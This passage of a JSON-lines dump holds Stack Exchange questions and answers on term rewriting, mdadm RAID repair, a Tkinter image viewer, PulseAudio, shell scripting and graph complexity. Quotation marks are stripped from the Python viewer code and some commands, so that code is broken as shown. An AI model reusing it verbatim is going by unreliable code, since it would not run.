flex hints prohibited by Type 1.C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: Ive safely replaced them with ordinary curves.)C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: glyph colonmonetary.oldstyle: While processing otf/MinionPro-It.otf:C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: glyph colonmonetary.oldstyle: warning: complex flex hint replaced with curvesC:\\texlive\\2014\\bin\\win32\\cfftot1.exe: (This Type 2 format font contains flex hints prohibited by Type 1.C:\\texlive\\2014\\bin\\win32\\cfftot1.exe: Ive safely replaced them with ordinary curves.)Creating TeX metrics ... < 62) : Syntaxfehler: Ungltiger arithmetischer Operator. (Fehlerverursachendes < 62) \\).t \\"  , "title": "File not found (cygwin on Windows)"  , "tags": "shell script;cygwin"  } 
{  "id": "_cs.47244"  , "question": "I have tried to solve the following exercise but I got stuck while trying to find all the critical pairs.I have the following questions:How do I know which critical pair produced a new rule?How do I know I found all the critical pairs?Let $\\Sigma= \\left \\{ \\circ, i, e \\right \\}$ where $\\circ$ is binary, $i$ is unary, and $e$ is a constant.  $$E=\\left \\{  \\begin{gather}( x \\circ y ) \\circ z \\approx x \\circ\\left ( y \\circ z \\right ) \\\\x \\circ e \\approx x \\\\x \\circ i(x) \\approx e\\end{gather} \\right\\}$$My work so far:$x\\circ e >_{\\textsf{lpo}} x$   (LPO 1)   $x$ is a variable  $x\\circ i(x)>_{\\textsf{lpo}} e$   (LPO 2b)   there are no terms in the right hand side  $(x\\circ y)\\circ z\\approx x\\circ(y\\circ z)$  $s=\\circ(\\underset{\\large s_1}{\\circ(x,y)},\\underset{\\large s_2}{\\strut z})\\qquad t=\\circ (\\underset{\\large t_1}{x\\strut}, \\underset{\\large t_2}{\\circ(y,z)})$     (LPO 2c)check that $s>t_j$, $j=\\overline{1,m}$  $s>_{\\textsf{lpo}}t_1$     (LPO 1)  to prove that $s>_{\\textsf{lpo}}t_2$ (LPO 2c) we prove that  $$s>_{\\textsf{lpo}} y \\;\\;\\text{(LPO 1)};\\qquad s>_{\\textsf{lpo}}z \\;\\;\\text{(LPO 1)};\\qquad \\circ(x,y)>y\\;\\;\\text{(LPO 1)}$$find $i$ such that $s_i>_{\\textsf{lpo}}t_i$     $i=1$  $$\\circ(x,y)>_{\\textsf{lpo}}x\\;\\;\\text{(LPO 1)}$$$(x\\circ y)\\circ z>_{\\textsf{lpo}} x\\circ (y\\circ z)$ a. $(x\\circ y)\\circ z\\;\\rightarrow\\; x\\circ (y\\circ z)$  $x_1\\circ e\\;\\rightarrow\\; x_1$  $x\\circ y \\mathrel{\\,=?\\,} x_1\\circ e$  $\\theta\\{x \\;\\leftarrow \\;x_1;\\; y\\;\\leftarrow \\;e\\}$  $$\\require{AMScd}\\require{cancel}\\begin{CD}(x_1\\circ e)\\circ z @>>> \\cancel{x_1}\\circ z\\\\@VVV @VVV\\\\\\cancel{x_1}\\circ(e\\circ z) @>>> e\\circ z\\approx z\\end{CD}\\qquad\\text{left identity?}$$b. $(x\\circ y)\\circ z\\;\\rightarrow\\; x\\circ (y\\circ z)$  $e\\circ x_1\\;\\rightarrow\\; x_1$  $x\\circ y \\mathrel{\\,=?\\,} e\\circ x_1$   $\\theta\\{x \\;\\leftarrow \\;e;\\; y\\;\\leftarrow \\;x_1\\}$  $$\\begin{CD}(e\\circ x_1)\\circ z @>>> x_1\\circ z\\\\@VVV @VVV\\\\e\\circ(x_1\\circ z) @>>> ?\\end{CD}$$c. $(x\\circ y)\\circ z\\;\\rightarrow\\; x\\circ (y\\circ z)$  $x_1\\circ i(x_1)\\;\\rightarrow\\; e$  $x\\circ y \\mathrel{\\,=?\\,} x_1\\circ i(x_1)$   $\\theta\\{x \\;\\leftarrow \\;x_1;\\; y\\;\\leftarrow \\;i(x_1)\\}$  $$\\begin{CD}(x_1\\circ i(x_1))\\circ z @>>> e\\circ z\\\\@VVV @VVV\\\\x_1\\circ(i(x_1)\\circ z) @>>> ?\\end{CD}$$As a support document I have Term Rewriting and All That by Franz Baader and Tobias Nipkow.(original image here)EDIT1After searching for the critical pairs I have the following set of rules(assuming 2.a is corect):$$E=\\left \\{  \\begin{gather}( x \\circ y ) \\circ z \\approx x \\circ\\left ( y \\circ z \\right ) \\\\x \\circ e \\approx x \\\\x \\circ i(x) \\approx e \\\\x \\circ (i(x) \\circ y) \\approx y \\\\x \\circ ( y \\circ i(x \\circ y) ) \\approx e \\\\e \\circ x \\approx x  \\\\e \\circ (x \\circ y) \\approx x \\circ y\\end{gather} \\right\\}$$"  , "title": "Term rewriting; Compute critical pairs"  , "tags": "logic;first order logic"  , "accepted_answer": "Before adressing the actual questions, one remark on your work so far: the left cancellation in 2.a. is not correct in general, the critical pair would just be $x\\circ(e\\circ z) \\approx x\\circ z$. Consequently, you don't get the critical pair 2.b. The problem with this cancellation is that the equation you get does in general not follow from the axioms you started from; for example, if you are working in the language of rings, you might at some point derive the critical pair $0*x \\approx 0*y$, but it would be incorrect to deduce $x\\approx y$ (which would mean that you only have a trivial model). No sound rewriting procedure, including Huet's, should allow this reduction.On the other hand, you are missing the critical pairs you get by unifying (variable-renamed versions of) $x\\circ e$ or $x\\circ i(x)$ with all of $(x\\circ y)\\circ z$ (i.e. using the second $\\circ$). The resulting critical pairs are$x\\circ(y\\circ e)\\leftarrow (x\\circ y)\\circ e\\to x\\circ y$, which after reduction becomes the trivial equation $x\\circ y\\approx x\\circ y$, and$x\\circ(y\\circ i(x\\circ y))\\leftarrow(x\\circ y)\\circ i(x\\circ y)\\to e$, which cannot be reduced further and gives the rule $x\\circ(y\\circ i(x\\circ y))\\to e$ (assuming that $\\circ\\triangleright e$ in the precedence $\\triangleright$ used to define the LPO, just as you did when orienting $x\\circ i(x)\\approx e$).For the basic completion procedure: Whenever you create a critical pair, you reduce both sides as far as possible using the current set of rules. If the resulting normal forms are not equal, you create a new rule. For example, your 2.c. gives a new rule $x\\circ(i(x)\\circ z)\\to e\\circ z$. On the other hand, unifying $(x\\circ y)\\circ z$ with $x_1\\circ y_1$ gives the critical pair $(x\\circ y)\\circ(z\\circ z_1)\\leftarrow((x\\circ y)\\circ z)\\circ z_1\\to(x\\circ(y\\circ z))\\circ z_1$, which can be reduced to the trivial $x\\circ(y\\circ(z\\circ z_1))\\approx x\\circ(y\\circ(z\\circ z_1))$ and discarded. Whenever you create a new rule $l\\to r$, you must consider all critical pairs between it and the existing rules $l_1\\to r_1,\\dots,l_n\\to r_n$, checking for unifiability of $l$ with each non-variable subterm of $l_i$ and vice versa. Also remember to check for self-overlaps, i.e. unifiability of $l$ with its own subterms, as we did above for associativity. You only stop when all critical pairs of the existing rules have been examined and either produced new rules, or been discarded.This procedure can be improved quite a bit. In particular, you can use new rules to simplify old ones (and possibly discarding them if they become trivial, meaning they are subsumed by the new rule), and a good heuristic for picking the next critical pair to examine can drastically cut down on the amount of rules."  } 
{  "id": "_unix.77307"  , "question": "BEFORE: SERVER:~ # mdadm --detail /dev/md5/dev/md5:    Version : 00.90.00  Creation Time : Fri Mar 18 14:53:33 2011     Raid Level : raid1     Array Size : 67103360 (63.99 GiB 68.71 GB)    Device Size : 67103360 (63.99 GiB 68.71 GB)   Raid Devices : 2  Total Devices : 1Preferred Minor : 5    Persistence : Superblock is persistent    Update Time : Mon May 27 21:32:01 2013      State : clean, no-errors Active Devices : 1Working Devices : 1 Failed Devices : 0  Spare Devices : 0    Number   Major   Minor   RaidDevice State       0       8      129        0      active sync   /dev/sdi1       1       0        0       -1      removed       UUID : 5cd4bFe4:dd1b759f:b7e070fe:c44bfRef     Events : 0.36000940ADDING A DISK TO RAID1: SERVER:~ # mdadm --add /dev/md5 /dev/sdj1mdadm: hot added /dev/sdj1AFTER: SERVER:~ # mdadm --detail /dev/md5/dev/md5:    Version : 00.90.00  Creation Time : Fri Mar 18 14:53:33 2011     Raid Level : raid1     Array Size : 67103360 (63.99 GiB 68.71 GB)    Device Size : 67103360 (63.99 GiB 68.71 GB)   Raid Devices : 2  Total Devices : 2Preferred Minor : 5    Persistence : Superblock is persistent    Update Time : Mon May 27 21:32:32 2013      State : clean, no-errors Active Devices : 1Working Devices : 2 Failed Devices : 0  Spare Devices : 1    Number   Major   Minor   RaidDevice State       0       8      129        0      active sync   /dev/sdi1       1       0        0       -1      removed       2       8      145       -1      spare   /dev/sdj1       UUID : 5cd4bFe4:dd1b759f:b7e070fe:c44bfRef     Events : 0.36000955SERVER:~ # QUESTION: how can I remove this line/disk from md5?       1       0        0       -1      removedProbably this is the reason why /dev/sdj1 is marked as spare...I already tried to remove it: SERVER:~ # mdadm /dev/md5 -r detachedmdadm: cannot find detached: No such file or directorySERVER:~ # OS: SUSE LINUX Enterprise Server 9.4UPDATE: so can I remove a disk from an md* device using it's number? ( in this case the number would be 1 )"  , "title": "How to remove disk from RAID1 without knowing the /dev/XXX name?"  , "tags": "raid;sles"  } 
{  "id": "_codereview.4377"  , "question": "I'm currently making a manga (read: comic) viewer in python. This project has been a code as you learn project, because I have been trying to code this as I learned about Tkinter. Python I have known for some time, but not too long.Performance wise, I'm worried about the image loading and resizing time; it seems slow. I found out one thing by experimenting: when resizing P type images it is a lot slower than converting it to L (greyscale) and then resizing. Also the fullscreen is buggy, but this (and other minor bugs, coding format problems) is because I have thrown this together and haven't really re-coded it nicely yet (as I often do after I learn what I want it to be like, if you understand what I mean). Format wise, I don't think I have the best organization there is, maybe there is a better practice to hold up, or multiple files maybe (but python can't do this?)?Once again there are a lot of little bugs, like scrolling with the keyboard reveals extra space on the bottom, and the folder viewer doesn't always scroll to the selected folder in the dialog, and I would like to know how to fix this, but I would like more to know some good practices and optimization for image loading and resizing.from Tkinter import *from ttk import *import Image, ImageTk, tkFileDialog, osVERSION = v0.0.3folderDialog ClassDialog that asks the user to select a folder. Returns folder and gets destroyed.class folderDialog(Toplevel):    def __init__(self, parent, callback, dir=./, fileFilter=None):        Toplevel.__init__(self, parent)        self.transient(parent)        self.title(Browse Folders)        self.parent = parent        self.dir = StringVar()        self.callback = callback        self.fileFilter = fileFilter        if os.path.exists(dir) and os.path.isdir(dir):            self.dir.set(os.path.abspath(dir))        else:            self.dir.set(os.path.abspath(./))        self.body = Frame(self)        self.body.grid(row=0,column=0,padx=5,pady=5, sticky=(N,S,E,W))        Label(self.body, text=Please select a folder).grid(row=0,column=0, sticky=(N,S,W), pady=3)        Label(self.body, text=You are in folder:).grid(row=1,column=0, sticky=(N,S,W))        Entry(self.body, textvariable=self.dir, state=readonly).grid(row=2,column=0,sticky=(N,S,E,W),columnspan=2)        self.treeview = Treeview(self.body, columns=(dir, imgs), show=headings)        self.treeview.grid(row=3,column=0,sticky=(N,S,E,W),rowspan=3,pady=5,padx=(0,5))        self.treeview.column(imgs, width=30, anchor=E)        self.treeview.heading(dir, text=Select a Folder:, anchor=W)        self.treeview.heading(imgs, text=Image Count, anchor=E)        #self.treeview.heading(0, text=Select Directory)        #self.listbox = Listbox(self.body, activestyle=dotbox, font=(Menu, 10))        #self.listbox.grid(row=3,column=0, sticky=(N,S,E,W),rowspan=3,pady=5,padx=(0,5))        ok = Button(self.body, text=Use Folder)        ok.grid(row=3,column=1,sticky=(N,E,W), pady=5)        cancel = Button(self.body, text=Cancel)        cancel.grid(row=4,column=1,sticky=(N,E,W), pady=5)                self.grab_set()        self.protocol(WM_DELETE_WINDOW, self.cancel)        self.bind(<Escape>, self.cancel)        cancel.bind(<Button-1>, self.cancel)        ok.bind(<Button-1>, self.selectFolder)        self.treeview.bind(<Left>, self.newFolder)        self.treeview.bind(<Right>, self.newFolder)        self.treeview.bind(<Return>, self.selectFolder)        self.treeview.bind(<Up>, self.onUpDown)        self.treeview.bind(<Down>, self.onUpDown)        self.treeview.bind(<<TreeviewSelect>>, self.onChange)        self.geometry(%dx%d+%d+%d % (450, 400,            parent.winfo_rootx()+int(parent.winfo_width()/2 - 200),            parent.winfo_rooty()+int(parent.winfo_height()/2 - 150)        ))        self.updateListing()        self.treeview.focus_set()        self.resizable(0,0)        self.columnconfigure(0, weight=1)        self.rowconfigure(0, weight=1)        self.body.columnconfigure(0, weight=1)        self.body.rowconfigure(5, weight=1)        self.wait_window(self)    def newFolder(self, event):        newDir = self.dir.get()        if event.keysym == Left:            #newDir = os.path.join(newDir, ..)            self.upFolder()            return        else:            selected = self.getSelected()            if selected == .:                #special super cool stuff here                self.selectFolder()                return            elif selected == ..:                self.upFolder()                return            else:                newDir = os.path.join(newDir, selected)        self.dir.set(os.path.abspath(newDir))        self.updateListing()    def upFolder(self):        cur = os.path.split(self.dir.get())        newDir = cur[0]        cur = cur[1]        self.dir.set(os.path.abspath(newDir))        self.updateListing()        children = self.treeview.get_children()        for child in children:            if self.treeview.item(child, text) == cur:                self.treeview.selection_set(child)                self.treeview.focus(child)                #print please see                self.treeview.see(child)                return    def onChange(self, event=None):        #print event        sel = self.treeview.focus()        if sel == '':            return #not possible, but just in case        if self.treeview.item(sel, values)[1] == ?:            #print Has ?            self.imgCount()    def imgCount(self):              folder = os.path.join(self.dir.get(), self.getSelected())        folder = os.path.abspath(folder)        count = 0        dirList = os.listdir(folder)        for fname in dirList:            if self.fileFilter == None:                count = count + 1            else:                ext = os.path.splitext(fname)[1].lower()[1:]                #print ext                for fil in self.fileFilter:                    #print fil                    if ext == fil:                        count = count + 1                        break        #print count        sel = self.treeview.focus()          newV = (self.treeview.item(sel, values)[0], str(count))        self.treeview.item(sel, value=newV)    def onUpDown(self, event):        sel = self.treeview.selection()        if len(sel) == 0:            return        active = self.treeview.index(sel[0])        children = self.treeview.get_children()        length = len(children)        toSelect = 0        if event.keysym == Up and active == 0:            toSelect = length - 1        elif event.keysym == Down and active == length-1:            toSelect = 0        else:            return        toSelect = children[toSelect]        self.treeview.selection_set(toSelect)        self.treeview.focus(toSelect)        self.treeview.see(toSelect)        return 'break'    def updateListing(self, event=None):        folder = self.dir.get()        children = self.treeview.get_children()        for child in children:            self.treeview.delete(child)        #self.treeview.set_children(, '')        dirList = os.listdir(folder)        first = self.treeview.insert(, END, text=., values=((.) - Current Folder, ?))        self.treeview.selection_set(first)        self.treeview.focus(first)        self.treeview.insert(, END, text=.., values=((..), ?))        #self.listbox.insert(END, (.) - Current Folder)        #self.listbox.insert(END, (..))        for fname in dirList:            if os.path.isdir(os.path.join(folder, fname)):                #self.listbox.insert(END,fname+/)                self.treeview.insert(, END, values=(fname+/, ?), text=fname)    def selectFolder(self, event=None):        selected = os.path.join(self.dir.get(), self.getSelected())        selected = os.path.abspath(selected)        self.callback(selected, self)        self.cancel()    def getSelected(self):        selected = self.treeview.selection()        if len(selected) == 0:            selected = self.treeview.identify_row(0)        else:            selected = selected[0]        return self.treeview.item(selected, text)    def ok(self):        #print value is, self.e.get()        self.top.destroy()    def cancel(self, event=None):        self.parent.focus_set()        self.destroy()Img ClassStores path to img and manipulates (resizes).class Img:    def __init__(self, path):        self.path = path        self.size = 0,0        self.oSize = 0,0        self.img = None        self.tkpi = None        split = os.path.split(self.path)        self.folderName = os.path.split(split[0])[1]        self.fileName = split[1]        self.stats()        #print Loaded  + path        self.img = None    def stats(self):        self.img = Image.open(self.path)        self.size = self.img.size        self.oSize = self.img.size    def load(self):        self.img = Image.open(self.path)#.convert(RGB) #RGB for better resizing        #print self.img.mode        if self.img.mode == P:            self.img = self.img.convert(L) #L scales much more nicely than P    def unload(self):        self.img = None        self.tkpi = None        self.size = self.oSize    def fit(self, size):        #ratio = min(1.0 * size[0] / self.oSize[0], 1.0 * size[1] / self.oSize[1])        ratio = 1.0 * size[0] / self.oSize[0]        ratio = min(ratio, 1.0)        #print ratio        self.size = (int(self.oSize[0] * ratio), int(self.oSize[1] * ratio))        #print self.size    def resize(self, size):        #self.fit(size)        self.load()        self.img = self.img.resize(self.size, Image.BICUBIC)        #self.img = self.img.resize(self.size, Image.ANTIALIAS)        self.tkpi = ImageTk.PhotoImage(self.img)        return self.tkpi    def quickResize(self, size):        self.fit(size)        if self.img == None:            self.load()        self.img = self.img.resize(self.size)        self.tkpi = ImageTk.PhotoImage(self.img)        return self.tkpiMangaViewer ClassThe main class, runs everything.class MangaViewer:    def __init__(self, root):        self.root = root        self.setTitle(VERSION)        root.state(zoomed)        self.frame = Frame(self.root)#, bg=#333333)#, cursor=none)        self.canvas = Canvas(self.frame,xscrollincrement=15,yscrollincrement=15,bg=#1f1f1f, highlightthickness=0)        scrolly = Scrollbar(self.frame, orient=VERTICAL, command=self.canvas.yview)        self.canvas.configure(yscrollcommand=scrolly.set)        #self.img = Image.open(C:\\\\Users\\\\Alex\\\\Media\\\\manga\\\\Boku wa Tomodachi ga Sukunai\\\\16\\\\02-03.png)        #self.tkpi = ImageTk.PhotoImage(self.img)        #self.imgId = self.canvas.create_image(0,0, image=self.tkpi, anchor=nw)        #self.canvas.configure(scrollregion=self.canvas.bbox(ALL))        self.files = []        self.current = 0        self.canvas.bind(<Configure>, self.onConfig)        self.root.bind(<Up>, self.onScroll)        self.root.bind(<Down>, self.onScroll)        self.root.bind(<Left>, self.onNewImg)        self.root.bind(<Right>, self.onNewImg)        self.root.bind(<d>, self.getNewDirectory)        self.root.bind(<f>, self.toggleFull)        self.root.bind(<Motion>, self.onMouseMove)        #Windows        self.root.bind(<MouseWheel>, self.onMouseScroll)        # Linux        self.root.bind(<Button-4>, self.onMouseScroll)        self.root.bind(<Button-5>, self.onMouseScroll)        self.root.bind(<Escape>, lambda e: self.root.quit())        self.frame.grid(column=0, row=0, sticky=(N,S,E,W))        self.canvas.grid(column=0,row=0, sticky=(N,S,E,W))        #scrolly.grid(column=1, row=0, sticky=(N,S))        self.root.columnconfigure(0, weight=1)        self.root.rowconfigure(0, weight=1)        self.frame.columnconfigure(0, weight=1)        self.frame.rowconfigure(0, weight=1)        self.resizeTimeO = None        self.mouseTimeO = self.root.after(1000, lambda x: x.frame.configure(cursor=none), self)        self.lastDir = os.path.abspath(./)        self.imgId = None        self.fullscreen = False    def toggleFull(self, event=None):        if self.fullscreen:            root.overrideredirect(False)        else:            root.overrideredirect(True)        self.fullscreen = not self.fullscreen        self.onConfig(None)    def setTitle(self, *titles):        st =         for title in titles:            st = st +   + str(title)        self.root.title(MangaViewer  -  + st)    def setTitleToImg(self):        self.setTitle(self.files[self.current].folderName,-,             self.files[self.current].fileName,(,(self.current+1),/,len(self.files),))    def onMouseMove(self, event):        hide cursor after some time        #print event        self.frame.configure(cursor=)        if self.mouseTimeO != None:            self.root.after_cancel(self.mouseTimeO)        self.mouseTimeO = self.root.after(1000, lambda x: x.frame.configure(cursor=none), self)    def onMouseScroll(self, event):        #mousewheel for windows, mousewheel linux, or down key        if event.num == 4 or event.delta == 120:            self.canvas.yview(scroll, -3, units)        else:            self.canvas.yview(scroll, 3, units)    def onScroll(self, event):        called when the up or down arrow key is pressed        if event.keysym == Down:            self.canvas.yview(scroll, 1, units)        else:            self.canvas.yview(scroll, -1, units)    def onNewImg(self, event):        called when the left or right arrow key is pressed, changes the image        change = 1 #right key        if event.keysym == Left:            change = -1        newImg = self.current + change        if newImg < 0 or newImg >= len(self.files):            self.getNewDirectory()            return        #self.img = self.files[newImg];        #self.tkpi = ImageTk.PhotoImage(self.img)        #self.canvas.delete(self.imgId)        #self.imgId = self.canvas.create_image(0,0, image=self.tkpi, anchor=nw)        #self.canvas.configure(scrollregion=self.canvas.bbox(ALL)) #needed?        self.files[self.current].unload()        self.current = newImg        self.setTitleToImg()        self.onConfig(None, True)    def getNewDirectory(self, event=None):        folderDialog(self.root, self.selNewDirectory, self.lastDir, fileFilter=[jpg, png, gif, jpeg])    def selNewDirectory(self, dirname, fd):        callback given to folderDialog        fd.cancel() #destroy the folderDialog        if self.lastDir == dirname:            return        self.lastDir = dirname        #print dirname        dirList = os.listdir(dirname)        self.files = []        self.current = -2        for fname in dirList:            ext = os.path.splitext(fname)[1].lower()            if ext == .png or ext == .jpg or ext == .jpeg or ext == .gif:                self.files.append(Img(os.path.join(dirname, fname)))        self.current = 0        if len(self.files) == 0:             return        self.setTitleToImg()        self.onConfig(None, True)    def resize(self, finalResize=False):        resizes the image        canvasSize = (self.canvas.winfo_width(), self.canvas.winfo_height())        tkpi = None        if finalResize:            tkpi = self.files[self.current].resize(canvasSize)        else:            tkpi = self.files[self.current].quickResize(canvasSize)            if self.resizeTimeO != None: #is this the best way to do this?                self.root.after_cancel(self.resizeTimeO)            self.root.after(200, self.onConfig, None, True)        if self.imgId != None:            self.canvas.delete(self.imgId)        self.imgId = self.canvas.create_image(0,0, image=tkpi, anchor=nw)        #self.canvas.configure(scrollregion=self.canvas.bbox(ALL))        bbox = self.canvas.bbox(ALL)        #nBbox = (bbox[0], bbox[1]-60, bbox[2], bbox[3]+60)        nBbox = bbox        self.canvas.configure(scrollregion=nBbox)        #print self.canvas.bbox(ALL)    def onConfig(self, event, finalResize=False):        runs the resize method and centers the image        if self.current < 0 or self.current >= len(self.files):            return        self.canvas.yview(moveto, 0.0)        self.resize(finalResize)        newX = (self.canvas.winfo_width() - self.files[self.current].size[0])/2        #newY - 60 TODO change to preference padding        newY = (self.canvas.winfo_height() - self.files[self.current].size[1])/2# - 60        newY = max(newY, 0)        self.canvas.coords(self.imgId, newX, newY)        self.canvas.yview(moveto, 0.0)        bbox = self.canvas.bbox(ALL)        nbbox = (0,0, bbox[2], max(bbox[3], self.canvas.winfo_height()))        self.canvas.configure(scrollregion=nbbox)root = Tk()MangaViewer(root)root.mainloop()"  , "title": "Optimizing Python Image Viewer and General Code Format Advise"  , "tags": "python;optimization;algorithm"  } 
{  "id": "_unix.230889"  , "question": "I am trying to cut-paste some switch config over an ssh session from my mac. It seems to start mangling it after a set buffer size. Surely cut-paste buffer is large enough, since I can cut-paste just fine in other programs(even chrome terminal emulator for the same ssh session funny enough). Is there a way to increase this cut-paste buffer to a terminal on MacOS, or am I stuck cut-pasting in short bursts?EDIT:So, after quite a bit of debugging of the kernel tty driver on the OS where I was connecting to, I found that the root cause of it was the specific tty implementation, which had only a small buffer (1k). As a result pasting anything larger would overrun that buffer and create the above mentioned problem. With chrome terminal emulator, it looks like it has its own buffer and just waits for a prompt and sends it line-by-line to the pty. "  , "title": "MacOS terminal ssh input buffer size"  , "tags": "osx;ssh;tty"  } 
{  "id": "_cstheory.2674"  , "question": "What's your favorite examples where information theory is used to prove a neat combinatorial statement in a simple way ?Some examples I can think of are related to lower bounds for locally decodable codes, e.g., in this paper: suppose that for a bunch of binary strings $x_1,...,x_m$ of length $n$ it holds that for every $i$, for $k_i$ different pairs {$j_1,j_2$}, $$e_i = x_{j_1} \\oplus x_{j_2}.$$ Then m is at least exponential in n, where the exponent depends linearly on the average ratio of $k_i/m$. Another (related) example is some isoperimetric inequalities on the Boolean cube (feel free to elaborate on this in your answers).Do you have more nice examples? Preferably, short and easy to explain."  , "title": "Information Theory used to prove neat combinatorial statements?"  , "tags": "co.combinatorics;big list;it.information theory"  } 
{  "id": "_unix.234854"  , "question": "Basically when I try to run vi, I have the following error (and after open it, there are a lot of errors):Error detected while processing function UltiSnips#bootstrap#Bootstrap:line   35:Traceback (most recent call last):  File <string>, line 1, in <module>  File /Users/myname/.vim/bundle/ultisnips/pythonx/UltiSnips/__init__.py, line 8, in <module>    from UltiSnips.snippet_manager import SnippetManager  File /Users/myname/.vim/bundle/ultisnips/pythonx/UltiSnips/snippet_manager.py, line 16, in <module>    from UltiSnips.snippet.definition import UltiSnipsSnippetDefinition  File /Users/myname/.vim/bundle/ultisnips/pythonx/UltiSnips/snippet/definition/__init__.py, line 3, in <module>    from UltiSnips.snippet.definition.ultisnips import UltiSnipsSnippetDefinition  File /Users/myname/.vim/bundle/ultisnips/pythonx/UltiSnips/snippet/definition/ultisnips.py, line 6, in <module>    from UltiSnips.snippet.definition._base import SnippetDefinition  File /Users/myname/.vim/bundle/ultisnips/pythonx/UltiSnips/snippet/definition/_base.py, line 12, in <module>    from UltiSnips.text_objects import SnippetInstance  File /Users/myname/.vim/bundle/ultisnips/pythonx/UltiSnips/text_objects/__init__.py, line 9, in <module>    from UltiSnips.text_objects._shell_code import ShellCode  File /Users/myname/.vim/bundle/ultisnips/pythonx/UltiSnips/text_objects/_shell_code.py, line 10, in <module>    import tempfile  File /usr/local/Cellar/python/2.7.10_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/tempfile.py, line 32, in <module>    import io as _io  File /usr/local/Cellar/python/2.7.10_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/io.py, line 51, in <module>    import _ioImportError: dlopen(/usr/local/Cellar/python/2.7.10_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/_io.so, 2): Symbol not found: __PyErr_ReplaceException  Referenced from: /usr/local/Cellar/python/2.7.10_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/_io.so  Expected in: flat namespace in /usr/local/Cellar/python/2.7.10_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/_io.soBasically, I want to reinstall vi.However, after following the instructions:http://www.yolinux.com/TUTORIALS/LinuxTutorialAdvanced_vi.htmlhttp://www.vim.org/git.phpI still have this error. What should I do?In my memory I once have accidentally deleted /usr/local/bin...not sure if that affects..."  , "title": "How do I clean up vi and reinstall it completely?"  , "tags": "python;vi"  } 
{  "id": "_unix.388317"  , "question": "I have a laptop, which has an integrated Intel sound card with an HDMI connection in addition to internal speakers and a headphone jack. It used to run Debian 7, but now I'm replacing it with clean-slate Debian 9.The laptop is connected to the TV via HDMI. External speakers are plugged into the headphone jack. As a rule, the sound should play through both connections, but I ideally I'd like to control it on a per-application basis. (The laptop mainly runs Kodi, which in principle should use both outputs, whereas MPD should only use the headphone jack so that it can play even when the TV is off.)I managed to do it in Debian 7 by applying random tips from the Internet; it was rather fragile, and I will not be able to reproduce it. I would like to do it the right way with, I guess, PulseAudio as the tool.Here's the output of pacmd info on a freshly installed system, which I presume is the result of automatic detection by module-udev-detect. HDMI and speakers are now split into two different profiles. If I choose one, the corresponding output works just fine on its own. Now I need to be able to use them simultaneously. A number of solutions on the Internet suggest modifying default.pa and using module-combine-sink. In that case, should I skip using module-udev-detect altogether and set up sinks, ports, etc. manually? Or I can built on top what is being detected? I am confused as to how a manually added sink in default.pa would interact with the autodetected stuff. Ideally, I would like to have just three sinks and no redundant profiles that I am not going to use."  , "title": "PulseAudio: to output to headphones & HDMI simultaneously, do I need to skip `module-udev-detect` and set it all up manually?"  , "tags": "debian;audio;pulseaudio"  } 
{  "id": "_unix.210963"  , "question": "It must be soooo simple, but all of the examples that I found after a few hours of googling don't work, as the mail is always attached to the file instead of writing it into the body. I don't want to send empty messages either, but want to send mail only when I have output from the script. Here is my command:$script_file  > /tmp/output.log ; mail -E -s Output subject my@emailaddress  < /tmp/output.log ; rm -f /tmp/output.logWould it be possible to change this command to force the mail to embed the content of the output.log file?My system is CentOS.Many thanks!"  , "title": "How to embed file content into body of the email using mail command?"  , "tags": "email"  , "accepted_answer": "I use mutt to do that, like this. Be aware of argument order, do not place recipient after -amutt joe@example.com -s Mail subject -a /file/to/attach < /file/with/mail/body"  } 
{  "id": "_cstheory.20179"  , "question": "Petersen's theorem states that a bridgeless cubic graph contains a perfect matching (1-factor). Motivated by this question, Complexity of finding 2 vertex-disjoint (|V|/2)-cycles in cubic graphs? I am interested in the problem of deciding the existence of perfect matching $M$ such that removing the edges of $M$ leaves two node-disjoint cycles of equal cardinality  (each cycle has size $|V|/2$).Is this problem solvable in P-time? Is it $NP$-complete?The input is connected bridgeless cubic graph."  , "title": "Finding balanced disjoint cycles in bridgeless cubic graphs"  , "tags": "cc.complexity theory;graph theory"  , "accepted_answer": "This is NP-complete; reduction from the question, Does a 2-edge-connected cubic graph $H$ contain a Hamiltonian cycle avoiding a given edge $e$?Construct $G$ as follows.  Take two copies of $H-e$, denoting the endpoints of $e$ in the first copy $v_1$, $u_1$ and denoting the endpoints of $e$ in the second copy $v_2$, $u_2$.  Add edges $e_v$ between $v_1$ and $v_2$, and $e_u$ between $u_1$ and $u_2$.  Observe that $G$ is 2-edge-connected.Any cycle of $G$ contains both or neither of $e_v$ and $e_u$, since these edges form an edge cut.  Thus if $G$ has two vertex-disjoint cycles of length $|V(H)|$, they must each lie in a separate copy of $H$.  Such cycles exist precisely if $H$ contains a Hamiltonian cycle avoiding $e$.Edit: Am I missing something obvious, or is the question of finding a good perfect matching clearly equivalent to finding the two long cycles?"  } 
{  "id": "_unix.234523"  , "question": "Since both ksh and bash are based upon sh many Korn Shell scripts (ksh) will simply run as Bourne-again Shell scripts (bash) once the shebang and file extension are changed, and you call $ bash script.bash instead of $ ksh script.ksh.I have a basic script to replace any occurrence of ksh in a directory called files and changes file extensions for the scripts.#!/bin/bash/#replace instancesfind ./files -type f - exec sed -i.bak s/ksh/bash/g {} \\;#Change extensionsfor f in ./files/*.ksh;  do mv $f ./files/$(basename $f .ksh).bashdone#Clean uprm ./files/*.bakThis script works and does what is described above, but is it sufficient for converting any ksh script to bash, or are there conditions which I have not accounted for?"  , "title": "Script to convert a directory of ksh scripts to bash scripts?"  , "tags": "bash;shell script;ksh;conversion"  } 
{  "id": "_unix.223750"  , "question": "I have a folder with three files:$ lsa  b  cIf I pipe the output of ls to wc, I get the right result:$ ls | wc -l3However, when I specify the input to wc as the output of ls, I get extra text:$ wc -l <(ls)3 /dev/fd/63Can anyone explain to me what is happening?"  , "title": "Extra output on input redirection"  , "tags": "pipe;io redirection;input"  , "accepted_answer": "wc will tell you what file it's working on if it's able.  With the first one with the pipe it's reading from stdin, not a file, so does not report a filename.  The second one, however, you're using process substitution which presents the output of the command as a file, which wc reports.  It reports on the file descriptor it was given from which to read."  } 
